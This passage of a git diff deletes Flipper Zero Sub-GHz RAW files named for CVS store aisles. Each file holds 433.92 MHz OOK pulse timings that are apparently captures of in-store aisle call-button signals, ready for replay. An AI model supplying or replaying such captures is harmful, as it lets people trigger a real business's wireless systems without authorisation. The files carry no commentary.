-740 1588 -1500 784 -740 1588 -1504 784 -736 1588 -1500 784 -740 1584 -1504 784 -740 1580 -1504 780 -1504 824 -1504 780 -1504 828 -1500 788 -736 1588 -1504 784 -736 1584 -4584 792 -744 1564 -1512 792 -748 1556 -1516 828 -740 1548 -740 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1580 -744 1548 -736 1588 -740 1548 -740 1588 -736 1548 -736 1588 -740 1548 -744 1584 -740 1544 -740 1584 -748 1548 -736 1588 -1504 784 -736 1588 -1504 784 -744 1584 -1500 788 -736 1588 -1500 784 -744 1584 -1500 784 -1500 820 -1504 788 -1504 828 -1500 788 -736 1588 -1504 784 -740 1580 -4584 792 -748 1556 -1512 792 -748 1556 -1516 828 -740 1548 -744 1584 -744 1548 -736 1588 -736 1548 -748 1580 -740 1548 -740 1588 -736 1548 -744 1584 -740 1548 -740 1588 -740 1544 -744 1588 -740 1544 -736 1588 -740 1552 -740 1584 -744 1544 -740 1592 -1504 780 -744 1584 -1504 784 -740 1588 -1500 784 -740 1588 -1504 784 -744 1576 -1504 780 -1504 824 -1504 784 -1504 824 -1504 784 -740 1588 -1504 784 -736 1580 -4592 784 -744 1564 -1512 792 -748 1552 -1520 824 -744 1548 -736 1588 -736 1548 -740 1584 -744 1544 -740 1588 -736 1548 -744 1584 -744 1544 -736 1588 -740 1548 -744 1584 -736 1552 -736 1584 -744 1552 -740 1588 -740 1544 -740 1584 -744 1548 -744 1588 -1504 780 -744 1584 -1504 784 -736 1588 -1504 784 -744 1584 -1508 784 -740 1580 -1508 780 -1500 824 -1504 784 -1504 832 -1504 784 -740 1584 -1504 784 -740 1588 -4584 792 -744 1560 -1512 792 -748 1560 -1512 832 -740 1548 -744 1584 -744 1544 -740 1588 -744 1544 -740 1584 -748 1544 -744 1584 -740 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1580 -744 1548 -744 1584 -740 1552 -736 1588 -740 1552 -740 1588 -1504 784 -740 1588 -1504 780 -748 1584 -1504 784 -744 1584 -1504 784 -736 1584 -1504 784 -1508 816 -1508 780 -1508 824 -1508 776 -744 1588 -1504 784 -740 1576 -4592 784 -752 1556 -1520 788 -748 1556 -1516 -RAW_Data: 828 -736 1548 -744 1584 -744 1548 -740 1584 -744 1544 -740 1588 -740 1548 -744 1584 -744 1544 -744 1580 -744 1544 -744 1588 -740 1548 -744 1580 -744 1544 -748 1576 -744 1548 -744 1580 -744 1544 -744 1588 -1504 780 -748 1580 -1508 780 -748 1580 -1508 780 -744 1584 -1508 780 -744 1576 -1508 780 -1508 820 -1504 784 -1508 820 -1508 780 -744 1584 -1508 780 -748 1572 -4596 784 -752 1552 -1520 784 -752 1556 -1520 824 -748 1540 -752 1580 -744 1544 -748 1580 -744 1544 -744 1584 -748 1540 -744 1584 -744 1544 -748 1576 -748 1544 -744 1580 -748 1540 -752 1580 -744 1544 -748 1580 -744 1544 -748 1580 -748 1544 -744 1588 -1508 780 -744 1584 -1512 776 -748 1580 -1512 776 -748 1580 -1512 776 -748 1576 -1508 780 -1508 820 -1508 780 -1508 820 -1512 776 -748 1580 -1512 776 -748 1572 -4596 780 -756 1552 -1520 788 -752 1552 -1520 824 -752 1540 -748 1576 -752 1536 -752 1576 -752 1540 -748 1580 -748 1540 -748 1580 -748 1544 -744 1580 -748 1540 -752 1576 -752 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1584 -1512 776 -748 1580 -1512 776 -752 1576 -1512 776 -744 1580 -1508 780 -748 1572 -1516 776 -1512 812 -1512 776 -1512 820 -1508 780 -752 1576 -1512 776 -748 1572 -4592 788 -752 1552 -1520 788 -748 1552 -1524 820 -748 1544 -748 1580 -748 1544 -744 1580 -748 1540 -744 1580 -748 1540 -748 1580 -748 1540 -748 1580 -744 1540 -748 1580 -744 1544 -748 1580 -748 1540 -748 1580 -744 1544 -744 1580 -748 1540 -748 1584 -1508 776 -748 1584 -1508 776 -744 1584 -1508 776 -744 1584 -1512 776 -744 1580 -1508 776 -1508 820 -1508 780 -1508 820 -1512 776 -748 1576 -1512 776 -748 1552 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Eighteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Eighteen.sub deleted file mode 100644 index 6851c7da3..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Eighteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1524 780 -748 1552 -1516 832 -740 1548 -736 1588 -744 1540 -744 1584 -748 1540 -744 1580 -752 1540 -736 1588 -740 1544 -744 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1580 -748 1540 -748 1584 -1512 772 -748 1576 -1508 780 -1504 828 -1500 784 -748 1576 -1500 780 -1512 816 -1508 780 -1508 812 -1516 776 -1504 828 -1504 780 -748 1580 -1500 784 -744 1580 -4584 788 -752 1556 -1516 784 -752 1556 -1516 828 -740 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -740 1552 -744 1580 -748 1540 -748 1576 -748 1544 -744 1584 -748 1536 -744 1588 -744 1544 -748 1576 -752 1536 -748 1580 -744 1540 -748 1588 -1500 784 -748 1576 -1512 776 -1504 828 -1508 780 -744 1576 -1504 784 -1508 816 -1508 780 -1508 820 -1504 780 -1512 820 -1508 780 -744 1580 -1512 776 -744 1580 -4588 792 -752 1548 -1524 784 -748 1560 -1524 820 -744 1544 -752 1576 -748 1544 -744 1580 -752 1540 -740 1584 -748 1540 -740 1588 -740 1548 -748 1580 -740 1548 -744 1580 -744 1544 -744 1584 -748 1540 -740 1584 -752 1536 -740 1584 -752 1540 -744 1584 -1512 776 -748 1576 -1504 784 -1508 824 -1504 784 -740 1584 -1504 784 -1504 820 -1504 784 -1512 816 -1512 776 -1508 824 -1504 784 -744 1584 -1504 784 -740 1580 -4588 788 -748 1560 -1516 788 -756 1552 -1516 828 -740 1548 -744 1580 -740 1552 -744 1580 -740 1548 -748 1580 -744 1544 -748 1584 -740 1548 -740 1588 -740 1548 -744 1584 -740 1544 -744 1584 -744 1544 -740 1588 -740 1548 -748 1580 -740 1548 -740 1592 -1504 780 -744 1580 -1504 776 -1512 824 -1504 784 -748 1572 -1504 784 -1504 824 -1504 780 -1508 820 -1512 776 -1500 828 -1516 772 -744 1584 -1508 780 -744 1580 -4588 792 -744 1556 -1524 784 -752 1556 -1520 824 -744 1548 -740 1584 -740 1552 -740 1588 -736 1548 -744 1584 -744 1544 -740 1588 -740 1544 -752 1580 -740 1544 -748 1584 -744 1544 -748 1580 -748 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1592 -1508 780 -740 1584 -1504 784 -1504 824 -1504 784 -744 1580 -1504 784 -1508 816 -1504 788 -1504 824 -1500 788 -1504 824 -1504 784 -744 1584 -1504 784 -744 1576 -4596 788 -752 1552 -1524 784 -744 1560 -1516 828 -744 1544 -744 1584 -748 1540 -740 1588 -744 1548 -736 1588 -740 1548 -744 1584 -744 1544 -740 1584 -740 1548 -748 1580 -744 1548 -748 1580 -744 1552 -744 1580 -740 1552 -740 1584 -740 1548 -744 1588 -1508 784 -740 1584 -1504 788 -1500 828 -1508 788 -736 1576 -1508 788 -1508 824 -1504 776 -1504 824 -1508 776 -1516 816 -1508 780 -752 1576 -1516 780 -740 1580 -4584 796 -748 1556 -1516 784 -756 1552 -1520 -RAW_Data: 832 -740 1552 -740 1588 -740 1544 -740 1580 -748 1548 -740 1584 -748 1536 -748 1592 -736 1544 -740 1588 -744 1548 -736 1588 -736 1544 -752 1580 -744 1540 -744 1584 -752 1544 -736 1588 -748 1544 -740 1588 -1512 772 -752 1576 -1504 788 -1500 828 -1508 784 -740 1584 -1496 792 -1504 820 -1504 780 -1508 820 -1500 788 -1504 824 -1504 784 -748 1580 -1508 784 -736 1580 -4588 792 -748 1556 -1520 792 -748 1556 -1520 824 -744 1544 -744 1584 -740 1552 -744 1576 -748 1548 -744 1584 -736 1552 -740 1588 -744 1544 -744 1584 -744 1544 -748 1580 -740 1552 -740 1584 -748 1540 -744 1588 -744 1544 -744 1584 -740 1544 -744 1588 -1508 776 -748 1576 -1508 784 -1504 824 -1508 780 -748 1576 -1504 784 -1508 816 -1508 784 -1500 824 -1508 776 -1512 820 -1508 780 -748 1580 -1512 776 -748 1572 -4596 784 -756 1552 -1516 788 -752 1556 -1516 824 -748 1544 -744 1580 -748 1540 -744 1584 -748 1540 -744 1584 -748 1540 -744 1584 -744 1540 -752 1576 -748 1540 -748 1580 -748 1540 -752 1576 -752 1536 -752 1576 -748 1536 -752 1576 -752 1536 -752 1580 -1512 776 -748 1572 -1516 772 -1512 820 -1512 776 -752 1568 -1516 772 -1516 808 -1516 772 -1516 812 -1512 776 -1512 816 -1516 776 -752 1572 -1512 776 -752 1572 -4596 780 -760 1544 -1528 776 -764 1544 -1528 816 -756 1536 -752 1572 -756 1536 -756 1572 -752 1540 -748 1576 -752 1540 -752 1572 -756 1532 -752 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1536 -752 1576 -748 1540 -752 1572 -752 1540 -748 1580 -1516 772 -748 1568 -1516 772 -1516 820 -1516 772 -752 1568 -1512 776 -1512 816 -1512 776 -1512 812 -1516 776 -1508 820 -1512 776 -752 1576 -1516 772 -752 1548 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Eleven.sub b/assets/resources/subghz/Stores/CVS/Aisle_Eleven.sub deleted file mode 100644 index 2636f894c..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Eleven.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1516 784 -748 1556 -1516 828 -740 1544 -736 1588 -740 1552 -736 1584 -740 1548 -740 1588 -736 1552 -736 1588 -736 1548 -740 1584 -744 1544 -740 1588 -736 1548 -740 1588 -736 1548 -744 1580 -740 1548 -740 1588 -736 1552 -740 1584 -1504 780 -1504 824 -1500 784 -1500 828 -1504 784 -740 1584 -1504 784 -740 1580 -1504 780 -1500 824 -1504 784 -1504 824 -1504 780 -740 1584 -1508 780 -744 1576 -4588 784 -748 1556 -1512 792 -748 1556 -1512 828 -744 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1548 -740 1588 -736 1548 -740 1588 -744 1540 -744 1584 -744 1540 -744 1584 -744 1544 -740 1584 -740 1548 -736 1588 -1504 780 -1504 820 -1504 784 -1500 828 -1504 780 -740 1588 -1500 784 -744 1580 -1504 784 -1504 820 -1504 784 -1504 828 -1504 784 -736 1588 -1504 784 -736 1584 -4584 792 -744 1560 -1512 792 -744 1560 -1512 836 -736 1548 -744 1584 -744 1544 -740 1584 -744 1544 -744 1584 -744 1544 -744 1580 -744 1544 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -1504 780 -1504 824 -1504 780 -1504 828 -1500 788 -736 1588 -1500 784 -740 1584 -1500 784 -1504 820 -1504 784 -1500 828 -1500 788 -740 1580 -1508 784 -740 1580 -4584 788 -748 1556 -1516 792 -744 1560 -1516 828 -740 1544 -740 1588 -744 1544 -740 1584 -744 1540 -748 1580 -744 1544 -744 1584 -740 1552 -736 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1544 -744 1584 -740 1544 -744 1584 -736 1552 -736 1588 -1500 784 -1504 824 -1504 784 -1504 824 -1504 780 -744 1584 -1504 784 -740 1580 -1504 780 -1504 824 -1504 784 -1500 828 -1504 784 -740 1584 -1500 788 -740 1580 -4588 792 -744 1560 -1512 792 -748 1560 -1508 832 -740 1548 -740 1588 -740 1544 -740 1584 -744 1548 -740 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1588 -740 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 784 -1504 820 -1508 784 -1504 824 -1504 784 -744 1580 -1504 784 -740 1584 -1504 784 -1508 816 -1508 780 -1504 828 -1504 780 -748 1580 -1508 780 -744 1580 -4588 788 -744 1564 -1512 792 -744 1560 -1516 828 -740 1552 -740 1584 -744 1544 -744 1584 -740 1548 -740 1584 -744 1548 -736 1588 -740 1552 -736 1588 -740 1548 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1584 -740 1544 -744 1584 -1500 788 -1504 820 -1504 784 -1500 832 -1508 780 -740 1588 -1504 788 -736 1580 -1508 784 -1504 820 -1508 784 -1504 824 -1504 784 -740 1584 -1504 784 -744 1580 -4588 788 -748 1556 -1516 788 -748 1556 -1520 -RAW_Data: 828 -740 1544 -748 1580 -740 1548 -744 1584 -740 1548 -740 1584 -744 1544 -744 1588 -736 1548 -744 1584 -740 1552 -736 1588 -744 1548 -740 1584 -744 1544 -740 1584 -744 1544 -744 1584 -740 1548 -744 1584 -1500 784 -1508 820 -1504 784 -1500 828 -1508 780 -740 1588 -1504 784 -744 1576 -1508 776 -1512 816 -1508 784 -1504 828 -1504 784 -740 1584 -1504 784 -740 1580 -4588 788 -748 1560 -1512 784 -756 1556 -1516 828 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1584 -740 1548 -740 1588 -744 1544 -744 1580 -744 1548 -736 1592 -736 1552 -736 1584 -1508 780 -1508 824 -1500 788 -1504 824 -1504 784 -740 1588 -1504 780 -744 1580 -1500 788 -1500 824 -1504 784 -1504 824 -1508 780 -740 1588 -1504 780 -744 1584 -4584 792 -740 1560 -1516 788 -748 1560 -1516 828 -740 1548 -740 1584 -744 1548 -744 1584 -736 1548 -740 1588 -740 1548 -740 1588 -732 1552 -740 1592 -732 1552 -740 1588 -740 1548 -740 1588 -744 1544 -740 1584 -748 1544 -740 1588 -740 1548 -744 1584 -1504 780 -1504 824 -1504 784 -1504 824 -1504 784 -740 1588 -1504 784 -740 1580 -1504 788 -1504 820 -1504 784 -1500 832 -1504 784 -744 1584 -1504 784 -740 1580 -4588 788 -748 1560 -1516 788 -744 1560 -1520 828 -740 1548 -740 1588 -740 1548 -736 1592 -736 1552 -740 1588 -740 1548 -744 1584 -744 1544 -740 1588 -744 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -744 1544 -744 1584 -744 1544 -740 1588 -1508 780 -1508 820 -1504 784 -1504 824 -1504 784 -740 1588 -1504 784 -744 1580 -1504 788 -1496 824 -1504 784 -1508 824 -1504 784 -740 1588 -1504 776 -748 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Fifteen.sub b/assets/resources/subghz/Stores/CVS/Aisle_Fifteen.sub deleted file mode 100644 index d771c698d..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Fifteen.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1560 -1512 792 -744 1560 -1516 824 -744 1544 -744 1580 -740 1548 -736 1592 -736 1552 -736 1588 -740 1544 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -736 1588 -740 1552 -736 1588 -740 1544 -744 1580 -740 1548 -740 1588 -1500 784 -1500 824 -1500 788 -1500 824 -1504 784 -1500 828 -1504 784 -744 1576 -1504 784 -1504 824 -1500 788 -1500 828 -1496 788 -1500 824 -1496 788 -1504 820 -4588 792 -740 1564 -1516 788 -748 1556 -1516 828 -740 1548 -740 1588 -736 1552 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1552 -736 1584 -744 1544 -740 1588 -736 1552 -740 1588 -740 1552 -736 1588 -740 1544 -740 1592 -740 1544 -740 1584 -1504 784 -1500 824 -1504 780 -1504 824 -1504 784 -1496 832 -1500 788 -736 1584 -1500 784 -1504 824 -1500 780 -1508 820 -1504 784 -1504 824 -1500 788 -1496 824 -4588 788 -748 1560 -1516 788 -744 1560 -1516 828 -740 1548 -740 1592 -736 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -732 1592 -736 1548 -744 1584 -740 1548 -740 1588 -1504 780 -1504 824 -1500 788 -1504 820 -1508 780 -1500 832 -1504 784 -736 1584 -1500 788 -1504 824 -1504 784 -1500 824 -1508 780 -1504 824 -1504 784 -1500 824 -4588 788 -752 1556 -1516 788 -748 1560 -1512 832 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -740 1552 -736 1588 -744 1540 -744 1588 -736 1552 -740 1588 -740 1548 -740 1584 -748 1544 -740 1588 -740 1552 -740 1584 -744 1544 -744 1584 -1504 788 -1496 828 -1500 788 -1500 824 -1508 780 -1504 828 -1508 780 -740 1584 -1500 788 -1500 824 -1504 784 -1504 824 -1500 788 -1500 828 -1500 788 -1496 828 -4584 792 -744 1560 -1520 784 -748 1560 -1512 836 -740 1548 -740 1588 -740 1548 -740 1588 -736 1556 -736 1588 -744 1544 -740 1588 -740 1552 -740 1588 -740 1544 -744 1584 -740 1552 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1592 -1500 784 -1504 824 -1504 784 -1508 820 -1504 780 -1508 828 -1508 780 -740 1584 -1504 784 -1504 824 -1504 780 -1504 828 -1500 788 -1500 824 -1504 784 -1504 824 -4588 792 -748 1560 -1512 792 -748 1560 -1512 832 -740 1552 -740 1588 -736 1552 -740 1588 -744 1544 -740 1592 -736 1548 -744 1584 -740 1548 -744 1580 -744 1552 -736 1588 -744 1544 -744 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1580 -1504 788 -1500 828 -1500 788 -1504 820 -1500 792 -1500 832 -1500 784 -740 1584 -1500 788 -1504 820 -1504 788 -1500 824 -1504 784 -1500 828 -1500 788 -1504 820 -4588 792 -740 1564 -1516 792 -748 1556 -1520 -RAW_Data: 828 -736 1552 -740 1588 -744 1548 -736 1596 -740 1544 -744 1588 -736 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -744 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1556 -736 1584 -1504 788 -1500 824 -1508 780 -1504 824 -1500 784 -1508 828 -1504 784 -740 1580 -1504 788 -1496 824 -1512 780 -1504 824 -1504 784 -1508 820 -1504 788 -1500 824 -4584 792 -748 1560 -1516 792 -744 1560 -1520 828 -744 1544 -740 1588 -736 1552 -740 1588 -740 1548 -744 1588 -736 1548 -740 1588 -740 1548 -740 1592 -740 1544 -740 1588 -744 1544 -740 1592 -740 1544 -740 1588 -744 1544 -740 1588 -740 1552 -736 1588 -1500 788 -1500 824 -1508 784 -1500 824 -1504 784 -1500 828 -1504 788 -736 1584 -1504 788 -1500 824 -1504 788 -1496 828 -1508 784 -1500 824 -1504 784 -1504 824 -4588 792 -744 1556 -1516 792 -748 1560 -1512 828 -740 1552 -740 1584 -740 1552 -736 1592 -740 1544 -740 1588 -736 1552 -740 1584 -744 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -740 1548 -740 1588 -740 1544 -744 1584 -1500 788 -1500 824 -1504 784 -1500 824 -1500 788 -1500 828 -1504 788 -740 1584 -1500 784 -1504 824 -1504 788 -1500 820 -1504 788 -1500 828 -1500 784 -1500 824 -4588 792 -748 1560 -1516 788 -748 1560 -1516 828 -740 1552 -736 1588 -744 1544 -744 1584 -740 1548 -740 1596 -740 1548 -740 1584 -740 1548 -744 1580 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1592 -740 1548 -736 1588 -1504 784 -1504 824 -1500 788 -1504 820 -1508 780 -1508 824 -1504 784 -740 1580 -1504 788 -1504 820 -1508 784 -1504 820 -1504 784 -1504 824 -1504 784 -1504 804 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Five.sub b/assets/resources/subghz/Stores/CVS/Aisle_Five.sub deleted file mode 100644 index c3053bc31..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Five.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1552 -1516 792 -740 1564 -1512 828 -740 1548 -740 1584 -740 1548 -740 1584 -740 1544 -748 1584 -736 1548 -740 1584 -744 1548 -736 1588 -744 1544 -736 1588 -740 1544 -744 1588 -732 1552 -744 1580 -744 1548 -736 1588 -744 1540 -740 1584 -1508 780 -1504 828 -1500 788 -736 1584 -1504 784 -1504 824 -1504 780 -1504 828 -1504 780 -744 1584 -1500 784 -740 1584 -1500 784 -1504 824 -1500 784 -1504 824 -4584 792 -744 1556 -1516 788 -748 1560 -1512 828 -744 1544 -740 1588 -740 1544 -744 1588 -732 1548 -748 1580 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -736 1588 -744 1544 -740 1588 -740 1548 -740 1584 -740 1544 -748 1584 -740 1548 -740 1584 -1500 784 -1504 824 -1508 784 -740 1580 -1504 784 -1504 820 -1508 784 -1496 828 -1504 784 -740 1584 -1504 784 -736 1584 -1504 784 -1500 824 -1504 784 -1500 824 -4584 792 -744 1556 -1516 792 -748 1556 -1516 828 -740 1548 -740 1584 -740 1552 -732 1592 -740 1548 -740 1584 -740 1548 -736 1588 -740 1548 -736 1592 -736 1548 -736 1592 -736 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1584 -744 1544 -740 1584 -1504 788 -1500 828 -1504 776 -744 1580 -1504 784 -1500 824 -1504 784 -1504 828 -1504 784 -740 1588 -1500 784 -740 1584 -1500 788 -1504 820 -1500 788 -1500 824 -4588 788 -748 1560 -1512 792 -744 1564 -1508 832 -744 1544 -740 1588 -740 1544 -744 1588 -736 1548 -744 1584 -740 1548 -740 1588 -740 1552 -732 1592 -740 1548 -740 1588 -740 1544 -748 1584 -736 1552 -744 1580 -744 1548 -740 1588 -744 1548 -736 1584 -1504 784 -1500 832 -1504 788 -736 1584 -1504 784 -1504 824 -1504 784 -1504 824 -1508 784 -740 1588 -1500 784 -744 1580 -1500 784 -1504 824 -1504 784 -1500 824 -4588 788 -748 1560 -1512 792 -748 1560 -1508 832 -744 1548 -736 1588 -744 1544 -744 1588 -736 1548 -744 1584 -744 1544 -740 1588 -744 1548 -736 1592 -736 1552 -744 1584 -740 1548 -744 1584 -744 1548 -736 1588 -744 1548 -740 1584 -740 1552 -736 1592 -1500 784 -1504 828 -1508 780 -744 1584 -1496 784 -1504 824 -1504 788 -1500 832 -1504 780 -744 1584 -1504 784 -736 1588 -1500 788 -1500 828 -1500 784 -1504 824 -4588 792 -744 1560 -1516 796 -744 1556 -1516 832 -740 1548 -744 1584 -740 1548 -744 1588 -736 1552 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1584 -744 1548 -736 1588 -740 1552 -732 1592 -740 1548 -740 1588 -1500 788 -1500 828 -1508 780 -740 1584 -1504 784 -1500 824 -1504 784 -1508 828 -1500 788 -740 1584 -1504 784 -740 1584 -1504 784 -1500 828 -1504 780 -1508 820 -4584 792 -744 1564 -1512 796 -744 1560 -1512 -RAW_Data: 832 -740 1552 -736 1588 -740 1548 -744 1584 -740 1548 -740 1588 -736 1552 -740 1588 -740 1552 -736 1588 -744 1544 -740 1588 -740 1548 -740 1592 -732 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1584 -1500 788 -1500 832 -1500 784 -744 1580 -1504 784 -1504 824 -1504 784 -1500 828 -1500 792 -736 1588 -1500 788 -740 1584 -1504 784 -1504 824 -1500 788 -1504 824 -4588 788 -748 1560 -1512 792 -744 1564 -1512 832 -740 1548 -740 1588 -736 1552 -740 1588 -736 1552 -740 1588 -740 1548 -740 1592 -740 1544 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1580 -1504 788 -1500 828 -1504 788 -740 1580 -1504 784 -1500 828 -1504 784 -1504 828 -1504 784 -740 1584 -1504 788 -736 1584 -1500 788 -1504 824 -1504 788 -1504 816 -4588 792 -744 1560 -1520 788 -748 1560 -1512 832 -740 1552 -736 1588 -740 1552 -736 1588 -740 1548 -744 1588 -732 1556 -740 1584 -744 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -1500 788 -1504 832 -1500 788 -736 1584 -1504 784 -1500 824 -1504 784 -1500 832 -1504 784 -740 1588 -1504 784 -740 1584 -1504 784 -1504 820 -1504 788 -1500 824 -4588 788 -748 1560 -1516 788 -752 1560 -1508 832 -740 1548 -740 1588 -740 1548 -744 1584 -744 1548 -740 1584 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -740 1584 -744 1544 -744 1584 -744 1544 -740 1588 -740 1548 -744 1584 -1504 780 -1504 828 -1504 788 -740 1580 -1504 788 -1500 824 -1508 780 -1504 828 -1504 784 -744 1588 -1500 784 -740 1584 -1504 784 -1504 820 -1504 784 -1504 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Aisle_Four.sub b/assets/resources/subghz/Stores/CVS/Aisle_Four.sub deleted file mode 100644 index 11732e381..000000000 --- a/assets/resources/subghz/Stores/CVS/Aisle_Four.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 808 -744 1560 -1512 788 -748 1556 -1516 828 -740 1544 -740 1584 -740 1548 -740 1584 -740 1544 -740 1584 -744 1540 -740 1588 -736 1548 -740 1584 -740 1544 -740 1584 -740 1548 -740 1584 -736 1548 -740 1584 -740 1544 -740 1584 -744 1544 -740 1588 -1504 788 -736 1584 -1504 780 -744 1580 -1500 788 -1500 820 -1504 780 -1504 828 -1500 784 -744 1576 -1504 784 -1496 832 -1504 780 -744 1580 -1504 784 -744 1576 -4584 792 -744 1560 -1516 792 -744 1556 -1512 832 -744 1544 -744 1584 -740 1548 -736 1588 -740 1548 -744 1580 -740 1552 -732 1592 -740 1544 -740 1588 -736 1552 -736 1588 -740 1548 -740 1588 -732 1552 -736 1588 -740 1548 -736 1592 -736 1544 -748 1584 -1500 788 -740 1588 -1500 784 -736 1584 -1500 788 -1500 824 -1500 784 -1504 828 -1504 784 -740 1580 -1500 784 -1500 832 -1508 780 -744 1584 -1500 788 -736 1580 -4584 796 -744 1556 -1516 788 -748 1556 -1516 832 -736 1548 -744 1580 -744 1548 -740 1584 -740 1548 -736 1588 -744 1544 -744 1584 -736 1552 -736 1588 -740 1544 -744 1584 -740 1544 -744 1580 -740 1552 -736 1588 -740 1544 -744 1584 -740 1548 -740 1588 -1504 780 -744 1584 -1500 788 -736 1580 -1500 788 -1500 828 -1500 788 -1500 828 -1500 784 -736 1584 -1500 788 -1504 824 -1500 788 -740 1588 -1500 784 -740 1580 -4592 788 -744 1564 -1512 788 -748 1556 -1520 824 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -736 1588 -740 1548 -740 1584 -744 1544 -744 1588 -736 1548 -744 1584 -744 1544 -744 1584 -736 1552 -740 1588 -744 1544 -740 1588 -740 1552 -736 1592 -1500 788 -736 1588 -1504 784 -744 1576 -1508 780 -1504 824 -1504 780 -1504 828 -1508 780 -744 1576 -1500 792 -1500 824 -1500 788 -736 1592 -1500 788 -740 1580 -4592 784 -752 1556 -1516 788 -748 1560 -1512 832 -740 1552 -736 1588 -736 1552 -740 1588 -740 1548 -744 1584 -740 1548 -736 1588 -744 1548 -740 1584 -744 1544 -740 1584 -740 1548 -744 1584 -744 1544 -744 1584 -736 1552 -740 1588 -744 1544 -744 1588 -1500 788 -744 1588 -1500 788 -732 1584 -1504 788 -1500 824 -1500 788 -1504 828 -1504 784 -740 1584 -1500 788 -1504 824 -1504 784 -740 1588 -1504 784 -740 1580 -4592 788 -744 1560 -1512 792 -748 1560 -1516 832 -740 1548 -740 1588 -736 1552 -736 1588 -740 1548 -744 1584 -740 1548 -736 1592 -740 1548 -740 1584 -744 1548 -736 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -744 1584 -744 1544 -744 1588 -1500 788 -736 1592 -1504 780 -740 1584 -1500 788 -1500 824 -1504 784 -1504 828 -1504 788 -732 1584 -1508 780 -1500 832 -1504 784 -740 1584 -1500 792 -736 1580 -4584 792 -748 1556 -1516 788 -744 1560 -1516 -RAW_Data: 828 -740 1552 -736 1584 -740 1548 -744 1584 -744 1544 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -744 1580 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -736 1592 -1504 788 -732 1584 -1504 784 -744 1580 -1504 784 -1504 820 -1504 784 -1500 832 -1500 784 -744 1576 -1504 784 -1500 832 -1504 780 -740 1588 -1504 784 -740 1580 -4584 788 -744 1564 -1516 788 -752 1556 -1512 832 -740 1544 -744 1584 -744 1544 -740 1588 -736 1548 -744 1584 -740 1552 -736 1584 -740 1548 -740 1584 -744 1548 -736 1588 -736 1548 -744 1584 -740 1552 